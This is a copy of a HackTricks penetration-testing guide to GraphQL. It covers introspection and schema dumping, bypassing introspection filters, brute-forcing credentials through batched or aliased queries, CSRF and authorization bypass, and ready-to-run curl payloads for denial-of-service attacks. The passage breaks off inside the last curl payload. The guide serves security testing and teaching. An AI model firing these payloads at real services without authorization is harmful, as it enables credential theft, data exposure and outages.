graphql.md (56705B)
1 --- 2 title: "GraphQL" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/pentesting-web/graphql.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/graphql.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # GraphQL 14 15 ## Introduction 16 17 GraphQL is **highlighted** as an **efficient alternative** to REST API, offering a simplified approach for querying data from the backend. In contrast to REST, which often necessitates numerous requests across varied endpoints to gather data, GraphQL enables the fetching of all required information through a **single request**. This streamlining significantly **benefits developers** by diminishing the intricacy of their data fetching processes.<sup>[[3]](#references)</sup> 18 19 ## GraphQL and Security 20 21 GraphQL does not provide application authentication or authorization by itself; developers must enforce those controls in the surrounding application and in resolver logic. Without them, endpoints may expose sensitive information or operations to unauthenticated or unauthorized users.<sup>[[1]](#references)[[6]](#references)</sup> 22 23 ### Directory Brute Force Attacks and GraphQL 24 25 When looking for exposed GraphQL endpoints, include common paths in content-discovery scans. Practical GraphQL testing guides use paths and probes such as these:<sup>[[4]](#references)[[5]](#references)</sup> 26 27 - `/graphql` 28 - `/graphiql` 29 - `/graphql.php` 30 - `/graphql/console` 31 - `/api` 32 - `/api/graphql` 33 - `/graphql/api` 34 - `/graphql/graphql` 35 36 Identifying open GraphQL instances allows for the examination of supported queries. This is crucial for understanding the data accessible through the endpoint. GraphQL's introspection system facilitates this by detailing the queries a schema supports. For more information on this, refer to the GraphQL documentation on introspection: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)<sup>[[20]](#references)</sup> 37 38 ### Fingerprint 39 40 The tool [**graphw00f**](https://github.com/dolevf/graphw00f) can identify the GraphQL engine used by a server and print information useful to a security auditor. 41 42 #### Universal queries <a href="#universal-queries" id="universal-queries"></a> 43 44 To check if a URL is a GraphQL service, a **universal query**, `query{__typename}`, can be sent. If the response includes `{"data": {"__typename": "Query"}}`, it confirms the URL hosts a GraphQL endpoint. This method relies on GraphQL's `__typename` field, which reveals the type of the queried object. 45 46 ```javascript 47 query{__typename} 48 ``` 49 50 ### Basic Enumeration 51 52 GraphQL-over-HTTP servers must support `POST` and may support `GET`; mutations must not be executed through `GET`. Compliant servers support JSON request bodies, while some implementations additionally accept form or other simple content types. For state-changing operations, require `POST` with an appropriate JSON content type and deploy normal CSRF protections; rejecting simple content types can remove one common CSRF path but is not a complete CSRF defense.<sup>[[21]](#references)</sup> 53 54 #### Introspection 55 56 To use introspection to discover schema information, query the `__schema` field. This field is available on the root type of all queries. 57 58 ```bash 59 query={__schema{types{name,fields{name}}}} 60 ``` 61 62 With this query you will find the name of all the types being used: 63 64  65 66 ```bash 67 query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}} 68 ``` 69 70 With this query you can extract all the types, their fields, and their arguments (including argument types). This is useful for learning how to query the API. 71 72  73 74 **Errors** 75 76 Determine whether detailed **errors** are returned, because they can disclose useful schema and implementation information. 77 78 ```text 79 ?query={__schema} 80 ?query={} 81 ?query={thisdefinitelydoesnotexist} 82 ``` 83 84  85 86 **Enumerate Database Schema via Introspection** 87 88 > [!TIP] 89 > If introspection is enabled but the above query doesn't run, try removing the `onOperation`, `onFragment`, and `onField` directives from the query structure. 90 91 ```bash 92 #Full introspection query 93 94 query IntrospectionQuery { 95 __schema { 96 queryType { 97 name 98 } 99 mutationType { 100 name 101 } 102 subscriptionType { 103 name 104 } 105 types { 106 ...FullType 107 } 108 directives { 109 name 110 description 111 args { 112 ...InputValue 113 } 114 onOperation #Often needs to be deleted to run query 115 onFragment #Often needs to be deleted to run query 116 onField #Often needs to be deleted to run query 117 } 118 } 119 } 120 121 fragment FullType on __Type { 122 kind 123 name 124 description 125 fields(includeDeprecated: true) { 126 name 127 description 128 args { 129 ...InputValue 130 } 131 type { 132 ...TypeRef 133 } 134 isDeprecated 135 deprecationReason 136 } 137 inputFields { 138 ...InputValue 139 } 140 interfaces { 141 ...TypeRef 142 } 143 enumValues(includeDeprecated: true) { 144 name 145 description 146 isDeprecated 147 deprecationReason 148 } 149 possibleTypes { 150 ...TypeRef 151 } 152 } 153 154 fragment InputValue on __InputValue { 155 name 156 description 157 type { 158 ...TypeRef 159 } 160 defaultValue 161 } 162 163 fragment TypeRef on __Type { 164 kind 165 name 166 ofType { 167 kind 168 name 169 ofType { 170 kind 171 name 172 ofType { 173 kind 174 name 175 } 176 } 177 } 178 } 179 ``` 180 181 Inline introspection query: 182 183 ```text 184 /?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+} 185 ``` 186 187 The preceding request is a GraphQL query that dumps schema metadata such as object names, parameters, and types. 188 189  190 191 If introspection is enabled you can use [**GraphQL Voyager**](https://github.com/APIs-guru/graphql-voyager) to view in a GUI all the options.<sup>[[2]](#references)</sup> 192 193 ### Querying 194 195 Now that we know which kind of information is saved inside the database, let's try to **extract some values**. 196 197 In the introspection you can find **which object you can directly query for** (because you cannot query an object just because it exists). In the following image you can see that the "_queryType_" is called "_Query_" and that one of the fields of the "_Query_" object is "_flags_", which is also a type of object. Therefore you can query the flag object. 198 199  200 201 Note that the type of the query "_flags_" is "_Flags_", and this object is defined as below: 202 203  204 205 The `_Flags_` objects contain **name** and **value** fields, so you can request all flag names and values with: 206 207 ```javascript 208 query={flags{name, value}} 209 ``` 210 211 If the **object to query** is a primitive type such as a string, as in the following example: 212 213  214 215 You can query it directly with: 216 217 ```javascript 218 query = { hiddenFlags } 219 ``` 220 221 In another example where there were 2 objects inside the "_Query_" type object: "_user_" and "_users_".\ 222 If these objects don't need any argument to search, could **retrieve all the information from them** just **asking** for the data you want. In this example from Internet you could extract the saved usernames and passwords: 223 224  225 226 However, in this example if you try to do so you get this **error**: 227 228  229 230 Looks like somehow it will search using the "_**uid**_" argument of type _**Int**_.\ 231 The [Basic Enumeration](/hacktricks/network-services-pentesting/pentesting-web/graphql#basic-enumeration) section already proposed a query that returns the needed information: `query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}` 232 233 If you read the image provided when I run that query you will see that "_**user**_" had the **arg** "_**uid**_" of type _Int_. 234 235 In this example, light _**uid**_ brute force reveals that _**uid**=**1**_ returns a username and password:\ 236 `query={user(uid:1){user,password}}` 237 238  239 240 Note that I **discovered** that I could ask for the **parameters** "_**user**_" and "_**password**_" because if I try to look for something that doesn't exist (`query={user(uid:1){noExists}}`) I get this error: 241 242  243 244 And during the **enumeration phase** I discovered that the "_**dbuser**_" object had as fields "_**user**_" and "_**password**_. 245 246 **Query string dump trick (thanks to @BinaryShadow\_)** 247 248 If you can search by a string type, like: `query={theusers(description: ""){username,password}}` and you **search for an empty string** it will **dump all data**. (_Note this example isn't related with the example of the tutorials, for this example suppose you can search using "**theusers**" by a String field called "**description**"_). 249 250 ### Searching 251 252 The examples in the searching and mutation sections use a **database** containing **persons** and **movies**. **Persons** are identified by their **email** and **name**; **movies** by their **name** and **rating**. **Persons** can be friends with each other and can have movies, representing relationships within the database. 253 254 You can **search** persons **by** the **name** and get their emails: 255 256 ```javascript 257 { 258 searchPerson(name: "John Doe") { 259 email 260 } 261 } 262 ``` 263 264 You can **search** persons **by** the **name** and get their **subscribed** **films**: 265 266 ```javascript 267 { 268 searchPerson(name: "John Doe") { 269 email 270 subscribedMovies { 271 edges { 272 node { 273 name 274 } 275 } 276 } 277 } 278 } 279 ``` 280 281 Note how its indicated to retrieve the `name` of the `subscribedMovies` of the person. 282 283 You can also **search several objects at the same time**. In this case, a search 2 movies is done: 284 285 ```javascript 286 { 287 searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) { 288 name 289 } 290 }r 291 ``` 292 293 Or even **relations of several different objects using aliases**: 294 295 ```javascript 296 { 297 johnsMovieList: searchPerson(name: "John Doe") { 298 subscribedMovies { 299 edges { 300 node { 301 name 302 } 303 } 304 } 305 } 306 davidsMovieList: searchPerson(name: "David Smith") { 307 subscribedMovies { 308 edges { 309 node { 310 name 311 } 312 } 313 } 314 } 315 } 316 ``` 317 318 ### Mutations 319 320 **Mutations are used to make changes in the server-side.** 321 322 In the **introspection** you can find the **declared** **mutations**. In the following image the "_MutationType_" is called "_Mutation_" and the "_Mutation_" object contains the names of the mutations (like "_addPerson_" in this case): 323 324  325 326 Using the same persons-and-movies schema, a mutation to **create a new movie** in the database can look like the following example (where the mutation is called `addMovie`): 327 328 ```javascript 329 mutation { 330 addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) { 331 movies { 332 name 333 rating 334 } 335 } 336 } 337 ``` 338 339 **Note how both the values and type of data are indicated in the query.** 340 341 Additionally, the database supports a **mutation** operation, named `addPerson`, which allows for the creation of **persons** along with their associations to existing **friends** and **movies**. It's crucial to note that the friends and movies must pre-exist in the database before linking them to the newly created person. 342 343 ```javascript 344 mutation { 345 addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) { 346 person { 347 name 348 email 349 friends { 350 edges { 351 node { 352 name 353 email 354 } 355 } 356 } 357 subscribedMovies { 358 edges { 359 node { 360 name 361 rating 362 releaseYear 363 } 364 } 365 } 366 } 367 } 368 } 369 ``` 370 371 ### Directive Overloading 372 373 As explained in [**one of the vulns described in this report**](https://www.landh.tech/blog/20240304-google-hack-50000/), a directive overloading implies to call of a directive even millions of times to make the server waste operations until it's possible to DoS it.<sup>[[13]](#references)</sup> 374 375 ### Batching brute-force in 1 API request 376 377 This information was take from [https://lab.wallarm.com/graphql-batching-attack/](https://lab.wallarm.com/graphql-batching-attack/).<sup>[[14]](#references)</sup>\ 378 Authentication through GraphQL API with **simultaneously sending many queries with different credentials** to check it. It’s a classic brute force attack, but now it’s possible to send more than one login/password pair per HTTP request because of the GraphQL batching feature. This approach would trick external rate monitoring applications into thinking all is well and there is no brute-forcing bot trying to guess passwords. 379 380 Below you can find the simplest demonstration of an application authentication request, with **3 different email/passwords pairs at a time**. Obviously it’s possible to send thousands in a single request in the same way: 381 382  383 384 As we can see from the response screenshot, the first and the third requests returned _null_ and reflected the corresponding information in the _error_ section. The **second mutation had the correct authentication** data and the response has the correct authentication session token. 385 386  387 388 ## GraphQL Without Introspection 389 390 More and more **graphql endpoints are disabling introspection**. However, the errors that graphql throws when an unexpected request is received are enough for tools like [**clairvoyance**](https://github.com/nikitastupin/clairvoyance) to recreate most part of the schema. 391 392 Moreover, the Burp Suite extension [**GraphQuail**](https://github.com/forcesunseen/graphquail) extension **observes GraphQL API requests going through Burp** and **builds** an internal GraphQL **schema** with each new query it sees. It can also expose the schema for GraphiQL and Voyager. The extension returns a fake response when it receives an introspection query. As a result, GraphQuail shows all queries, arguments, and fields available for use within the API. For more info [**check this**](https://blog.forcesunseen.com/graphql-security-testing-without-a-schema).<sup>[[15]](#references)</sup> 393 394 A nice **wordlist** to discover [**GraphQL entities can be found here**](https://github.com/Escape-Technologies/graphql-wordlist?). 395 396 ### Bypassing GraphQL introspection defences <a href="#bypassing-graphql-introspection-defences" id="bypassing-graphql-introspection-defences"></a> 397 398 To bypass restrictions on introspection queries in APIs, inserting a **special character after the `__schema` keyword** proves effective. This method exploits common developer oversights in regex patterns that aim to block introspection by focusing on the `__schema` keyword. By adding characters like **spaces, new lines, and commas**, which GraphQL ignores but might not be accounted for in regex, restrictions can be circumvented. For instance, an introspection query with a newline after `__schema` may bypass such defenses: 399 400 ```bash 401 # Example with newline to bypass 402 { 403 "query": "query{__schema 404 {queryType{name}}}" 405 } 406 ``` 407 408 If unsuccessful, consider alternative request methods, such as **GET requests** or **POST with `x-www-form-urlencoded`**, since restrictions may apply only to POST requests. 409 410 ### Try WebSockets 411 412 As mentioned in [**this talk**](https://www.youtube.com/watch?v=tIo_t5uUK50), check if it might be possible to connect to graphQL via WebSockets as that might allow you to bypass a potential WAF and make the websocket communication leak the schema of the graphQL:<sup>[[16]](#references)</sup> 413 414 ```javascript 415 ws = new WebSocket("wss://target/graphql", "graphql-ws") 416 ws.onopen = function start(event) { 417 var GQL_CALL = { 418 extensions: {}, 419 query: ` 420 { 421 __schema { 422 _types { 423 name 424 } 425 } 426 }`, 427 } 428 429 var graphqlMsg = { 430 type: "GQL.START", 431 id: "1", 432 payload: GQL_CALL, 433 } 434 ws.send(JSON.stringify(graphqlMsg)) 435 } 436 ``` 437 438 ### **Discovering Exposed GraphQL Structures** 439 440 When introspection is disabled, examining the website's source code for preloaded queries in JavaScript libraries is a useful strategy. These queries can be found using the `Sources` tab in developer tools, providing insights into the API's schema and revealing potentially **exposed sensitive queries**. The commands to search within the developer tools are: 441 442 ```javascript 443 Inspect/Sources/"Search all files" 444 file:* mutation 445 file:* query 446 ``` 447 448 ### Error-based schema reconstruction & engine fingerprinting (InQL v6.1+) 449 450 When introspection is blocked, **InQL v6.1+** can now reconstruct the reachable schema purely from error feedback. The new *schema bruteforcer* batches candidate field/argument names from a configurable wordlist and sends them in multi-field operations to reduce HTTP chatter. Useful error patterns are then harvested automatically:<sup>[[9]](#references)</sup> 451 452 - `Field 'bugs' not found on type 'inql'` confirms the existence of the parent type while discarding invalid field names. 453 - `Argument 'contribution' is required` shows that an argument is mandatory and exposes its spelling. 454 - Suggestion hints such as `Did you mean 'openPR'?` are fed back into the queue as validated candidates. 455 - By intentionally sending values with the wrong primitive (e.g., integers for strings) the bruteforcer provokes type mismatch errors that leak the real type signature, including list/object wrappers like `[Episode!]`. 456 457 The bruteforcer keeps recursing over any type that yields new fields, so a wordlist that mixes generic GraphQL names with app-specific guesses will eventually map large chunks of the schema without introspection. Runtime is limited mostly by rate limiting and candidate volume, so fine-tuning the InQL settings (wordlist, batch size, throttling, retries) is critical for stealthier engagements. 458 459 In the same release, InQL ships a **GraphQL engine fingerprinter** (borrowing signatures from tools like `graphw00f`). The module dispatches deliberately invalid directives/queries and classifies the backend by matching the exact error text. For example:<sup>[[9]](#references)</sup> 460 461 ```graphql 462 query @deprecated { 463 __typename 464 } 465 ``` 466 467 - Apollo replies with `Directive "@deprecated" may not be used on QUERY.` 468 - GraphQL Ruby answers `'@deprecated' can't be applied to queries`. 469 470 Once an engine is recognized, InQL surfaces the corresponding entry from the [GraphQL Threat Matrix](https://github.com/nicholasaleks/graphql-threat-matrix), helping testers prioritize weaknesses that ship with that server family (default introspection behavior, depth limits, CSRF gaps, file uploads, etc.).<sup>[[9]](#references)[[10]](#references)</sup> 471 472 Finally, **automatic variable generation** removes a classic blocker when pivoting into Burp Repeater/Intruder. Whenever an operation requires a variables JSON, InQL now injects sane defaults so the request passes schema validation on the first send:<sup>[[9]](#references)</sup> 473 474 ```text 475 "String" -> "exampleString" 476 "Int" -> 42 477 "Float" -> 3.14 478 "Boolean" -> true 479 "ID" -> "123" 480 ENUM -> first declared value 481 ``` 482 483 Nested input objects inherit the same mapping, so you immediately get a syntactically and semantically valid payload that can be fuzzed for SQLi/NoSQLi/SSRF/logic bypasses without manually reverse-engineering every argument. 484 485 ## CSRF in GraphQL 486 487 If you don't know what CSRF is read the following page: 488 489 [Csrf Cross Site Request Forgery](/hacktricks/pentesting-web/csrf-cross-site-request-forgery) 490 491 Out there you are going to be able to find several GraphQL endpoints **configured without CSRF tokens.** 492 493 Note that GraphQL request are usually sent via POST requests using the Content-Type **`application/json`**. 494 495 ```javascript 496 {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} 497 ``` 498 499 However, most GraphQL endpoints also support **`form-urlencoded` POST requests:** 500 501 ```javascript 502 query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A 503 ``` 504 505 Therefore, as CSRF requests like the previous ones are sent **without preflight requests**, it's possible to **perform** **changes** in the GraphQL abusing a CSRF. 506 507 Cookies without an explicit `SameSite` attribute are generally treated as `SameSite=Lax`. Such cookies can accompany a cross-site request only when it is a top-level navigation using a safe method (most notably `GET`), so they are not sent with ordinary cross-site subresource requests.<sup>[[22]](#references)</sup> 508 509 Some GraphQL servers also accept a **query request as a GET request**, and an implementation might fail to validate its CSRF token on that path. 510 511 Also, abusing a [**XS-Search**](../../pentesting-web/xs-search/index.html) **attack** might be possible to exfiltrate content from the GraphQL endpoint abusing the credentials of the user. 512 513 For more information **check the** [**original post here**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html).<sup>[[17]](#references)</sup> 514 515 ### Multipart upload abuse (`Upload` scalar) 516 517 A lot of GraphQL stacks implement the **GraphQL multipart request specification** to support `Upload` scalars.<sup>[[11]](#references)</sup> From an offensive point of view, whenever you see `scalar Upload`, `multipart/form-data`, or mutations such as `uploadAvatar`, `createMediaItem`, or `import*`, you should test more than basic file validation: 518 519 - **CSRF via multipart**: `multipart/form-data` is a **simple request**, so browsers can send upload mutations cross-origin **without preflight**. This is especially relevant when the application claims to accept only JSON elsewhere. 520 - **Upload variable reuse**: GraphQL allows the same variable to be referenced multiple times. If the backend doesn't enforce single-use upload variables, reusing one file stream in several resolver arguments can trigger double reads, premature stream exhaustion, or server-side buffering/memory pressure. 521 - **Orphan parts / excess files**: some multipart parsers buffer every received file before checking whether it is actually referenced in the `map` field. Sending large unused parts is therefore a good way to probe for disk/RAM exhaustion. 522 523 Quick test for **variable reuse**: 524 525 ```bash 526 curl -X POST https://target/graphql \ 527 -F 'operations={"query":"mutation($f: Upload!){a:uploadAvatar(file:$f){id} b:uploadAvatar(file:$f){id}}","variables":{"f":null}}' \ 528 -F 'map={"0":["variables.f"]}' \ 529 -F '0=@/tmp/poc.bin' 530 ``` 531 532 Also try malformed `map` objects with **extra file parts** (for example a second part not referenced anywhere) and watch for differences in response time, temporary-file growth, or reverse-proxy errors. 533 534 ## Cross-site WebSocket hijacking in GraphQL 535 536 Similar to CRSF vulnerabilities abusing graphQL it's also possible to perform a **Cross-site WebSocket hijacking to abuse an authentication with GraphQL with unprotected cookies** and make a user perform unexpected actions in GraphQL. 537 538 For more information check: 539 540 [Websocket Attacks](/hacktricks/pentesting-web/websocket-attacks) 541 542 ## Authorization in GraphQL 543 544 Many GraphQL functions defined on the endpoint might only check the authentication of the requester but not authorization. 545 546 Modifying query input variables could lead to sensitive account details [leaked](https://hackerone.com/reports/792927).<sup>[[19]](#references)</sup> 547 548 Mutation could even lead to account takeover trying to modify other account data. 549 550 ```javascript 551 { 552 "operationName":"updateProfile", 553 "variables":{"username":INJECT,"data":INJECT}, 554 "query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}" 555 } 556 ``` 557 558 ### Bypass authorization in GraphQL 559 560 [Chaining queries](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) together can bypass a weak authentication system.<sup>[[18]](#references)</sup> 561 562 In the below example you can see that the operation is "forgotPassword" and that it should only execute the forgotPassword query associated with it. This can be bypassed by adding a query to the end, in this case we add "register" and a user variable for the system to register as a new user. 563 564 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/GraphQLAuthBypassMethod.PNG" alt=""><figcaption></figcaption></figure> 565 566 ## Persisted queries / APQ are **not** a security boundary 567 568 A common blue-team assumption is that **Automatic Persisted Queries (APQ)** prevent arbitrary GraphQL from reaching the server because clients normally send only a SHA-256 hash. In practice, APQ is mostly a **bandwidth/latency optimization**, not a safelist:<sup>[[12]](#references)</sup> 569 570 1. send only the hash and `extensions.persistedQuery` 571 2. if the server answers with `PersistedQueryNotFound`, resend the same request **with the full `query` string** 572 3. many Apollo-style deployments will execute it and cache that operation for later requests 573 574 This means that if the target only enabled APQ, you can often still submit **new introspection queries, aliases, deep fragments, or brute-force mutations** on the first request. Real safelisting normally requires a **pre-registered persisted-query list** and rejecting raw operation strings. 575 576 ```json 577 { 578 "operationName": "probe", 579 "variables": null, 580 "extensions": { 581 "persistedQuery": { 582 "version": 1, 583 "sha256Hash": "<unknown-hash>" 584 } 585 } 586 } 587 ``` 588 589 If the response contains `PersistedQueryNotFound`, immediately retry adding a full `query` field. Also note that some clients use **GET** for hash-only APQ requests and only fall back to a full query when the hash misses, so WAF or cache rules built around the hash-only path may miss the dangerous request. 590 591 ## Bypassing Rate Limits Using Aliases in GraphQL 592 593 In GraphQL, aliases are a powerful feature that allow for the **naming of properties explicitly** when making an API request. This capability is particularly useful for retrieving **multiple instances of the same type** of object within a single request. Aliases can be employed to overcome the limitation that prevents GraphQL objects from having multiple properties with the same name. 594 595 For a detailed understanding of GraphQL aliases, the following resource is recommended: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). 596 597 While the primary purpose of aliases is to reduce the necessity for numerous API calls, an unintended use case has been identified where aliases can be leveraged to execute brute force attacks on a GraphQL endpoint. This is possible because some endpoints are protected by rate limiters designed to thwart brute force attacks by restricting the **number of HTTP requests**. However, these rate limiters might not account for the number of operations within each request. Given that aliases allow for the inclusion of multiple queries in a single HTTP request, they can circumvent such rate limiting measures. 598 599 Consider the example provided below, which illustrates how aliased queries can be used to verify the validity of store discount codes. This method could sidestep rate limiting since it compiles several queries into one HTTP request, potentially allowing for the verification of numerous discount codes simultaneously. 600 601 ```bash 602 # Example of a request utilizing aliased queries to check for valid discount codes 603 query isValidDiscount($code: Int) { 604 isvalidDiscount(code:$code){ 605 valid 606 } 607 isValidDiscount2:isValidDiscount(code:$code){ 608 valid 609 } 610 isValidDiscount3:isValidDiscount(code:$code){ 611 valid 612 } 613 } 614 ``` 615 616 ## DoS in GraphQL 617 618 ### Alias Overloading 619 620 **Alias Overloading** is a GraphQL vulnerability where attackers overload a query with many aliases for the same field, causing the backend resolver to execute that field repeatedly. This can overwhelm server resources, leading to a **Denial of Service (DoS)**. For example, in the query below, the same field (`expensiveField`) is requested 1,000 times using aliases, forcing the backend to compute it 1,000 times, potentially exhausting CPU or memory: 621 622 ```graphql 623 # Test provided by https://github.com/dolevf/graphql-cop 624 curl -X POST -H "Content-Type: application/json" \ 625 -d '{"query": "{ alias0:__typename \nalias1:__typename \nalias2:__typename \nalias3:__typename \nalias4:__typename \nalias5:__typename \nalias6:__typename \nalias7:__typename \nalias8:__typename \nalias9:__typename \nalias10:__typename \nalias11:__typename \nalias12:__typename \nalias13:__typename \nalias14:__typename \nalias15:__typename \nalias16:__typename \nalias17:__typename \nalias18:__typename \nalias19:__typename \nalias20:__typename \nalias21:__typename \nalias22:__typename \nalias23:__typename \nalias24:__typename \nalias25:__typename \nalias26:__typename \nalias27:__typename \nalias28:__typename \nalias29:__typename \nalias30:__typename \nalias31:__typename \nalias32:__typename \nalias33:__typename \nalias34:__typename \nalias35:__typename \nalias36:__typename \nalias37:__typename \nalias38:__typename \nalias39:__typename \nalias40:__typename \nalias41:__typename \nalias42:__typename \nalias43:__typename \nalias44:__typename \nalias45:__typename \nalias46:__typename \nalias47:__typename \nalias48:__typename \nalias49:__typename \nalias50:__typename \nalias51:__typename \nalias52:__typename \nalias53:__typename \nalias54:__typename \nalias55:__typename \nalias56:__typename \nalias57:__typename \nalias58:__typename \nalias59:__typename \nalias60:__typename \nalias61:__typename \nalias62:__typename \nalias63:__typename \nalias64:__typename \nalias65:__typename \nalias66:__typename \nalias67:__typename \nalias68:__typename \nalias69:__typename \nalias70:__typename \nalias71:__typename \nalias72:__typename \nalias73:__typename \nalias74:__typename \nalias75:__typename \nalias76:__typename \nalias77:__typename \nalias78:__typename \nalias79:__typename \nalias80:__typename \nalias81:__typename \nalias82:__typename \nalias83:__typename \nalias84:__typename \nalias85:__typename \nalias86:__typename \nalias87:__typename \nalias88:__typename \nalias89:__typename \nalias90:__typename \nalias91:__typename \nalias92:__typename \nalias93:__typename \nalias94:__typename \nalias95:__typename \nalias96:__typename \nalias97:__typename \nalias98:__typename \nalias99:__typename \nalias100:__typename \n }"}' \ 626 'https://example.com/graphql' 627 ``` 628 629 To mitigate this, implement alias count limits, query complexity analysis, or rate limiting to prevent resource abuse. 630 631 ### **Array-based Query Batching** 632 633 **Array-based Query Batching** is a vulnerability where a GraphQL API allows batching multiple queries in a single request, enabling an attacker to send a large number of queries simultaneously. This can overwhelm the backend by executing all the batched queries in parallel, consuming excessive resources (CPU, memory, database connections) and potentially leading to a **Denial of Service (DoS)**. If no limit exists on the number of queries in a batch, an attacker can exploit this to degrade service availability. 634 635 ```graphql 636 # Test provided by https://github.com/dolevf/graphql-cop 637 curl -X POST -H "User-Agent: graphql-cop/1.13" \ 638 -H "Content-Type: application/json" \ 639 -d '[{"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}, {"query": "query cop { __typename }"}]' \ 640 'https://example.com/graphql' 641 ``` 642 643 In this example, 10 different queries are batched into one request, forcing the server to execute all of them simultaneously. If exploited with a larger batch size or computationally expensive queries, it can overload the server. 644 645 ### **Directive Overloading Vulnerability** 646 647 **Directive Overloading** occurs when a GraphQL server permits queries with excessive, duplicated directives. This can overwhelm the server’s parser and executor, especially if the server repeatedly processes the same directive logic. Without proper validation or limits, an attacker can exploit this by crafting a query with numerous duplicate directives to trigger high computational or memory usage, leading to **Denial of Service (DoS)**. 648 649 ```bash 650 # Test provided by https://github.com/dolevf/graphql-cop 651 curl -X POST -H "User-Agent: graphql-cop/1.13" \ 652 -H "Content-Type: application/json" \ 653 -d '{"query": "query cop { __typename @aa@aa@aa@aa@aa@aa@aa@aa@aa@aa }", "operationName": "cop"}' \ 654 'https://example.com/graphql' 655 ``` 656 657 Note that in the previous example `@aa` is a custom directive that **might not be declared**. A common directive that usually exists is **`@include`**: 658 659 ```bash 660 curl -X POST \ 661 -H "Content-Type: application/json" \ 662 -d '{"query": "query cop { __typename @include(if: true) @include(if: true) @include(if: true) @include(if: true) @include(if: true) }", "operationName": "cop"}' \ 663 'https://example.com/graphql' 664 ``` 665 666 You can also send an introspection query to discover all the declared directives: 667 668 ```bash 669 curl -X POST \ 670 -H "Content-Type: application/json" \ 671 -d '{"query": "{ __schema { directives { name locations args { name type { name kind ofType { name } } } } } }"}' \ 672 'https://example.com/graphql' 673 ``` 674 675 And then **use some of the custom** ones. 676 677 ### **Field Duplication Vulnerability** 678 679 **Field Duplication** is a vulnerability where a GraphQL server permits queries with the same field repeated excessively. This forces the server to resolve the field redundantly for every instance, consuming significant resources (CPU, memory, and database calls). An attacker can craft queries with hundreds or thousands of repeated fields, causing high load and potentially leading to a **Denial of Service (DoS)**. 680 681 ```bash 682 # Test provided by https://github.com/dolevf/graphql-cop 683 curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/json" \ 684 -d '{"query": "query cop { __typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename 